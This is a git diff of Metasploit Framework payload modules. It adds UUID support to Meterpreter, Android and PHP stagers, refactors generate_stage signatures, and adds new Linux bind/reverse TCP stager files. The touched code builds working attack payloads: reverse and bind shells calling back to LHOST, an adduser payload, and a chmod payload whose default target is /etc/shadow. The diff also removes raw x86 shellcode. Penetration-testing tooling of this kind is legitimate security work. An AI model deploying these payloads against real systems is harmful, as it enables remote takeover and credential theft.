a/modules/payloads/singles/bsd/x64/exec.rb +++ b/modules/payloads/singles/bsd/x64/exec.rb @@ -41,7 +41,7 @@ module Metasploit3 # # Dynamically builds the exec payload based on the user's options. # - def generate_stage + def generate_stage(opts={}) cmd_str = datastore['CMD'] || '' # Split the cmd string into arg chunks cmd_parts = Shellwords.shellsplit(cmd_str) diff --git a/modules/payloads/singles/bsd/x86/exec.rb b/modules/payloads/singles/bsd/x86/exec.rb index b407766c64..552ff37273 100644 --- a/modules/payloads/singles/bsd/x86/exec.rb +++ b/modules/payloads/singles/bsd/x86/exec.rb @@ -45,7 +45,7 @@ module Metasploit3 # # Dynamically builds the exec payload based on the user's options. # - def generate_stage + def generate_stage(opts={}) bsd_x86_exec_payload end diff --git a/modules/payloads/singles/linux/armle/adduser.rb b/modules/payloads/singles/linux/armle/adduser.rb index e7f95502bd..d8b72f2391 100644 --- a/modules/payloads/singles/linux/armle/adduser.rb +++ b/modules/payloads/singles/linux/armle/adduser.rb @@ -43,7 +43,7 @@ module Metasploit3 # # Dynamically builds the adduser payload based on the user's options. # - def generate_stage + def generate_stage(opts={}) user = datastore['USER'] || 'metasploit' pass = datastore['PASS'] || 'metasploit' shell = datastore['SHELL'] || '/bin/sh' diff --git a/modules/payloads/singles/linux/armle/exec.rb b/modules/payloads/singles/linux/armle/exec.rb index 1782fa7b6b..0b3bd3c7ba 100644 --- a/modules/payloads/singles/linux/armle/exec.rb +++ b/modules/payloads/singles/linux/armle/exec.rb @@ -35,7 +35,7 @@ module Metasploit3 ], self.class) end - def generate_stage + def generate_stage(opts={}) cmd = datastore['CMD'] || '' payload = diff --git a/modules/payloads/singles/linux/x64/exec.rb b/modules/payloads/singles/linux/x64/exec.rb index 83860c1c42..430527ecf7 100644 --- a/modules/payloads/singles/linux/x64/exec.rb +++ b/modules/payloads/singles/linux/x64/exec.rb @@ -28,7 +28,7 @@ module Metasploit3 ], self.class) end - def generate_stage + def generate_stage(opts={}) cmd = (datastore['CMD'] || '') << "\x00" call = "\xe8" + [cmd.length].pack('V') payload = diff --git a/modules/payloads/singles/linux/x86/adduser.rb b/modules/payloads/singles/linux/x86/adduser.rb index 01a18780df..064b5ca314 100644 --- a/modules/payloads/singles/linux/x86/adduser.rb +++ b/modules/payloads/singles/linux/x86/adduser.rb @@ -44,7 +44,7 @@ module Metasploit3 # # Dynamically builds the adduser payload based on the user's options. # - def generate_stage + def generate_stage(opts={}) user = datastore['USER'] || 'metasploit' pass = datastore['PASS'] || 'metasploit' shell = datastore['SHELL'] || '/bin/sh' diff --git a/modules/payloads/singles/linux/x86/chmod.rb b/modules/payloads/singles/linux/x86/chmod.rb index dca5193c63..6ed4ea11a0 100644 --- a/modules/payloads/singles/linux/x86/chmod.rb +++ b/modules/payloads/singles/linux/x86/chmod.rb @@ -34,7 +34,7 @@ module Metasploit3 end # Dynamically generates chmod(FILE, MODE) + exit() - def generate_stage + def generate_stage(opts={}) file = datastore['FILE'] || '/etc/shadow' mode = (datastore['MODE'] || "0666").oct diff --git a/modules/payloads/singles/linux/x86/exec.rb b/modules/payloads/singles/linux/x86/exec.rb index 2ef0c9e84a..dcb8d3ce25 100644 --- a/modules/payloads/singles/linux/x86/exec.rb +++ b/modules/payloads/singles/linux/x86/exec.rb @@ -39,7 +39,7 @@ module Metasploit3 # # Dynamically builds the exec payload based on the user's options. # - def generate_stage + def generate_stage(opts={}) cmd = datastore['CMD'] || '' payload = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68" + diff --git a/modules/payloads/singles/linux/x86/read_file.rb b/modules/payloads/singles/linux/x86/read_file.rb index 840fa68508..1a6ce1819b 100644 --- a/modules/payloads/singles/linux/x86/read_file.rb +++ b/modules/payloads/singles/linux/x86/read_file.rb @@ -30,7 +30,7 @@ module Metasploit3 ], self.class) end - def generate_stage + def generate_stage(opts={}) fd = datastore['FD'] payload_data =<<-EOS diff --git a/modules/payloads/singles/osx/x86/exec.rb b/modules/payloads/singles/osx/x86/exec.rb index 7658f6e3f6..7756c8f420 100644 --- a/modules/payloads/singles/osx/x86/exec.rb +++ b/modules/payloads/singles/osx/x86/exec.rb @@ -44,7 +44,7 @@ module Metasploit3 # # Dynamically builds the exec payload based on the user's options. # - def generate_stage + def generate_stage(opts={}) bsd_x86_exec_payload end end diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index fc5257cc1b..b7b94c4cc3 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -5,15 +5,17 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/php/reverse_tcp' require 'msf/base/sessions/meterpreter_php' require 'msf/base/sessions/meterpreter_options' -module Metasploit3 +module Metasploit4 - CachedSize = 24643 + CachedSize = 25679 include Msf::Payload::Single + include Msf::Payload::Php::ReverseTcp include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -33,11 +35,14 @@ module Metasploit3 met = File.open(file, "rb") {|f| f.read(f.stat.size) } + met.gsub!("127.0.0.1", datastore['LHOST']) if datastore['LHOST'] met.gsub!("4444", datastore['LPORT'].to_s) if datastore['LPORT'] - # remove comments and compress whitespace to make it smaller and a - # bit harder to analyze + uuid = generate_payload_uuid + bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') + met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"") + met.gsub!(/#.*$/, '') met = Rex::Text.compress(met) met diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 3cf4270eea..714b403634 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -44,12 +44,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X86 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index d896a4dae2..78561d56b4 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -44,12 +44,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X86 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 241bb19f9b..195a176b98 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -44,12 +44,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X86 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index efab821ffc..6e2e54fe32 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -45,12 +45,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X86 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 7e1b2a0789..92121049a0 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -44,12 +44,7 @@ module Metasploit3 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X86 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block, which for staged connections is really simple. config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 6fa749697b..2ce61320a7 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -44,12 +44,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X64 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block, which for staged connections is really simple. config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 8fbb63b9a0..7dec0bec7b 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -44,12 +44,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X64 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 65bdd0ad74..78d31e916a 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -44,12 +44,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X64 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 22650c4a37..c819611c57 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -45,12 +45,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X64 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 55a7acbceb..3f534da845 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -44,12 +44,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X64 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index cfb39c9d37..bc84647149 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' +require 'msf/core/payload/uuid/options' module Metasploit3 @@ -12,6 +13,7 @@ module Metasploit3 include Msf::Payload::Stager include Msf::Payload::Dalvik + include Msf::Payload::UUID::Options def initialize(info = {}) super(merge_info(info, @@ -24,31 +26,32 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseHttp, 'Stager' => {'Payload' => ""} )) - - register_options( - [ - OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) - ], self.class) end def generate_jar(opts={}) - host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new - port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s - raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32 + # Default URL length is 30-256 bytes + uri_req_len = 30 + rand(256-30) + # Generate the short default URL if we don't know available space + if self.available_space.nil? + uri_req_len = 5 + end + + lurl = "ZZZZhttp://#{datastore["LHOST"]}" + lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"] + lurl << "/" + lurl << generate_uri_uuid_mode(:init_java, uri_req_len) + + classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') + string_sub(classes, 'ZZZZ' + ' ' * 512, lurl) + apply_options(classes) jar = Rex::Zip::Jar.new - - classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) - string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port) - string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] jar.add_file("classes.dex", fix_dex_header(classes)) - files = [ [ "AndroidManifest.xml" ], [ "resources.arsc" ] ] - - jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) + jar.add_files(files, MetasploitPayloads.path("android", "apk")) jar.build_manifest cert, key = generate_cert diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index 3ab3f31752..b26e75de92 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' +require 'msf/core/payload/uuid/options' module Metasploit3 @@ -12,6 +13,7 @@ module Metasploit3 include Msf::Payload::Stager include Msf::Payload::Dalvik + include Msf::Payload::UUID::Options def initialize(info = {}) super(merge_info(info, @@ -24,31 +26,40 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseHttps, 'Stager' => {'Payload' => ""} )) - - register_options( - [ - OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) - ], self.class) end def generate_jar(opts={}) - host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new - port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s - raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32 + # Default URL length is 30-256 bytes + uri_req_len = 30 + rand(256-30) + # Generate the short default URL if we don't know available space + if self.available_space.nil? + uri_req_len = 5 + end + + lurl = "ZZZZhttps://#{datastore["LHOST"]}" + lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"] + lurl << "/" + lurl << generate_uri_uuid_mode(:init_java, uri_req_len) + + classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') + string_sub(classes, 'ZZZZ' + ' ' * 512, lurl) + + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) + if verify_cert_hash + hash = 'WWWW' + verify_cert_hash.unpack("H*").first + string_sub(classes, 'WWWW ', hash) + end + + apply_options(classes) jar = Rex::Zip::Jar.new - - classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) - string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port) - string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] jar.add_file("classes.dex", fix_dex_header(classes)) - files = [ [ "AndroidManifest.xml" ], [ "resources.arsc" ] ] - - jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) + jar.add_files(files, MetasploitPayloads.path("android", "apk")) jar.build_manifest cert, key = generate_cert diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index 74978ad295..6aacb42a45 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -26,21 +26,21 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseTcp, 'Stager' => {'Payload' => ""} )) + end - register_options( - [ - OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) - ], self.class) + def include_send_uuid + false end def generate_jar(opts={}) jar = Rex::Zip::Jar.new - classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) + classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST'] string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT'] - string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] + apply_options(classes) + jar.add_file("classes.dex", fix_dex_header(classes)) files = [ @@ -48,7 +48,7 @@ module Metasploit3 [ "resources.arsc" ] ] - jar.add_files(files, File.join(Msf::Config.data_directory, "android", "apk")) + jar.add_files(files, MetasploitPayloads.path("android", "apk")) jar.build_manifest cert, key = generate_cert diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index 1c00b95b6a..4318ad3f42 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' -require 'msf/core/payload/uuid_options' +require 'msf/core/payload/uuid/options' module Metasploit3 @@ -13,7 +13,7 @@ module Metasploit3 include Msf::Payload::Stager include Msf::Payload::Java - include Msf::Payload::UUIDOptions + include Msf::Payload::UUID::Options def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index bfb6058553..514f8b35aa 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -41,6 +41,10 @@ module Metasploit3 @class_files = [ ] end + def include_send_uuid + false + end + def config spawn = datastore["Spawn"] || 2 c = "" diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb index 6550d656a2..0106b03e01 100644 --- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb @@ -5,83 +5,35 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/linux/bind_tcp' -# Linux Bind TCP/IPv6 Stager -module Metasploit3 +module Metasploit4 - CachedSize = 85 + CachedSize = 120 include Msf::Payload::Stager - include Msf::Payload::Linux + include Msf::Payload::Linux::BindTcp def self.handler_type_alias - "bind_ipv6_tcp" + 'bind_ipv6_tcp' end def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager (IPv6)', - 'Description' => 'Listen for a connection over IPv6', - 'Author' => [ - 'kris katterjohn', # original - 'egypt', # NX support - ], + 'Name' => 'Bind IPv6 TCP Stager (Linux x86)', + 'Description' => 'Listen for an IPv6 connection (Linux x86)', + 'Author' => [ 'kris katterjohn', 'egypt' ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::BindTcp, - 'Stager' => { - 'Offsets' => { 'LPORT' => [ 0x18, 'n' ] }, - 'Payload' => - - "\x6a\x7d" +# push byte +0x7d - "\x58" +# pop eax - "\x99" +# cdq - "\xb2\x07" +# mov dl,0x7 - "\xb9\x00\x10\x00\x00" +# mov ecx,0x1000 - "\x89\xe3" +# mov ebx,esp - "\x66\x81\xe3\x00\xf0" +# and bx,0xf000 - "\xcd\x80" +# int 0x80 - "\x31\xdb" +# xor ebx,ebx - "\xf7\xe3" +# mul ebx - "\x53" +# push ebx - "\x43" +# inc ebx - "\x53" +# push ebx - "\x6a\x0a" +# push byte +0xa - "\x89\xe1" +# mov ecx,esp - "\xb0\x66" +# mov al,0x66 - "\xcd\x80" +# int 0x80 - "\x43" +# inc ebx - "\x52" +# push edx - "\x52" +# push edx - "\x52" +# push edx - "\x52" +# push edx - "\x52" +# push edx - "\x52" +# push edx - "\x68\x0a\x00\xbf\xbf" +# push dword 0xbfbf000a - "\x89\xe1" +# mov ecx,esp - "\x6a\x1c" +# push byte +0x1c - "\x51" +# push ecx - "\x50" +# push eax - "\x89\xe1" +# mov ecx,esp - "\x6a\x66" +# push byte +0x66 - "\x58" +# pop eax - "\xcd\x80" +# int 0x80 - "\xd1\xe3" +# shl ebx,1 - "\xb0\x66" +# mov al,0x66 - "\xcd\x80" +# int 0x80 - "\x43" +# inc ebx - "\xb0\x66" +# mov al,0x66 - "\x89\x51\x04" +# mov [ecx+0x4],edx - "\xcd\x80" +# int 0x80 - "\x93" +# xchg eax,ebx - "\xb6\x0c" +# mov dh,0xc - "\xb0\x03" +# mov al,0x3 - "\xcd\x80" +# int 0x80 - "\x89\xdf" +# mov edi,ebx - "\xff\xe1" # jmp ecx - - } - )) + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => true } + )) end + + def use_ipv6 + true + end + end diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb new file mode 100644 index 0000000000..7b1e53a378 --- /dev/null +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb @@ -0,0 +1,43 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/linux/bind_tcp' + +module Metasploit4 + + CachedSize = 165 + + include Msf::Payload::Stager + include Msf::Payload::Linux::BindTcp + + def self.handler_type_alias + 'bind_ipv6_tcp_uuid' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Bind IPv6 TCP Stager with UUID Support (Linux x86)', + 'Description' => 'Listen for an IPv6 connection with UUID Support (Linux x86)', + 'Author' => [ 'kris katterjohn', 'egypt', 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => true } + )) + end + + def use_ipv6 + true + end + + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/linux/x86/bind_tcp.rb b/modules/payloads/stagers/linux/x86/bind_tcp.rb index f41afaae61..d72c328b3e 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/linux/bind_tcp' @@ -17,16 +16,16 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager (Linux x86)', - 'Description' => 'Listen for a connection (Linux x86)', - 'Author' => [ 'skape', 'egypt' ], - 'License' => MSF_LICENSE, - 'Platform' => 'linux', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::BindTcp, - 'Convention' => 'sockedi', - 'Stager' => { 'RequiresMidstager' => true } - )) + 'Name' => 'Bind TCP Stager (Linux x86)', + 'Description' => 'Listen for a connection (Linux x86)', + 'Author' => [ 'skape', 'egypt' ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => true } + )) end end diff --git a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb new file mode 100644 index 0000000000..6ee52b7a80 --- /dev/null +++ b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb @@ -0,0 +1,43 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/linux/bind_tcp' + +module Metasploit4 + + CachedSize = 155 + + include Msf::Payload::Stager + include Msf::Payload::Linux::BindTcp + + def self.handler_type_alias + 'bind_tcp_uuid' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Bind TCP Stager with UUID Support (Linux x86)', + 'Description' => 'Listen for a connection with UUID Support (Linux x86)', + 'Author' => [ 'skape', 'egypt', 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => true } + )) + end + + # + # Override the uuid function and opt-in for sending the + # UUID in the stage. + # + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb new file mode 100644 index 0000000000..fa08274121 --- /dev/null +++ b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb @@ -0,0 +1,43 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/linux/reverse_tcp' + +module Metasploit4 + + CachedSize = 236 + + include Msf::Payload::Stager + include Msf::Payload::Linux::ReverseTcp + + def self.handler_type_alias + 'reverse_tcp_uuid' + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager', + 'Description' => 'Connect back to the attacker', + 'Author' => [ 'skape', 'egypt', 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => { 'Payload' => '' } + )) + end + + # + # Override the uuid function and opt-in for sending the + # UUID in the stage. + # + def include_send_uuid + true + end + +end diff --git a/modules/payloads/stagers/php/bind_tcp.rb b/modules/payloads/stagers/php/bind_tcp.rb index 9f135f97fc..ca2a843850 100644 --- a/modules/payloads/stagers/php/bind_tcp.rb +++ b/modules/payloads/stagers/php/bind_tcp.rb @@ -4,15 +4,15 @@ ## require 'msf/core' -require 'msf/core/payload/php' require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/php/bind_tcp' -module Metasploit3 +module Metasploit4 - CachedSize = 1418 + CachedSize = 1183 include Msf::Payload::Stager - include Msf::Payload::Php + include Msf::Payload::Php::BindTcp def initialize(info = {}) super(merge_info(info, @@ -26,18 +26,5 @@ module Metasploit3 'Stager' => { 'Payload' => "" } )) end - def generate - bind = File.read(File.join(Msf::Config::InstallRoot, 'data', 'php', 'bind_tcp.php')) - bind.gsub!("4444", "#{datastore["LPORT"]}") - return super + bind - end - - # - # PHP's read functions suck, make sure they know exactly how much data to - # grab by sending a length. - # - def handle_intermediate_stage(conn, payload) - conn.put([payload.length].pack("N")) - end end diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6.rb b/modules/payloads/stagers/php/bind_tcp_ipv6.rb index cbde929631..4698f162a2 100644 --- a/modules/payloads/stagers/php/bind_tcp_ipv6.rb +++ b/modules/payloads/stagers/php/bind_tcp_ipv6.rb @@ -4,15 +4,15 @@ ## require 'msf/core' -require 'msf/core/payload/php' require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/php/bind_tcp' -module Metasploit3 +module Metasploit4 - CachedSize = 1350 + CachedSize = 1182 include Msf::Payload::Stager - include Msf::Payload::Php + include Msf::Payload::Php::BindTcp def self.handler_type_alias "bind_tcp_ipv6" @@ -20,34 +20,19 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager IPv6', - 'Description' => 'Listen for a connection over IPv6', - 'Author' => ['egypt'], - 'License' => MSF_LICENSE, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Handler' => Msf::Handler::BindTcp, - 'Stager' => { 'Payload' => "" } + 'Name' => 'Bind TCP Stager IPv6', + 'Description' => 'Listen for a connection over IPv6', + 'Author' => ['egypt'], + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => { 'Payload' => "" } )) end - def generate - if (datastore['LPORT'] and not datastore['LPORT'].empty?) - lport = datastore['LPORT'] - else - lport = '4444' - end - bind = File.read(File.join(Msf::Config::InstallRoot, 'data', 'php', 'bind_tcp_ipv6.php')) - bind.gsub!("4444", lport) - - return super + bind + def use_ipv6 + true end - # - # PHP's read functions suck, make sure they know exactly how much data to - # grab by sending a length. - # - def handle_intermediate_stage(conn, payload) - conn.put([payload.length].pack("N")) - end end diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb b/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb new file mode 100644 index 0000000000..9ef4a17a0a --- /dev/null +++ b/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/php/bind_tcp' + +module Metasploit4 + + CachedSize = 1356 + + include Msf::Payload::Stager + include Msf::Payload::Php::BindTcp + + def self.handler_type_alias + "bind_tcp_ipv6_uuid" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Bind TCP Stager IPv6 with UUID Support', + 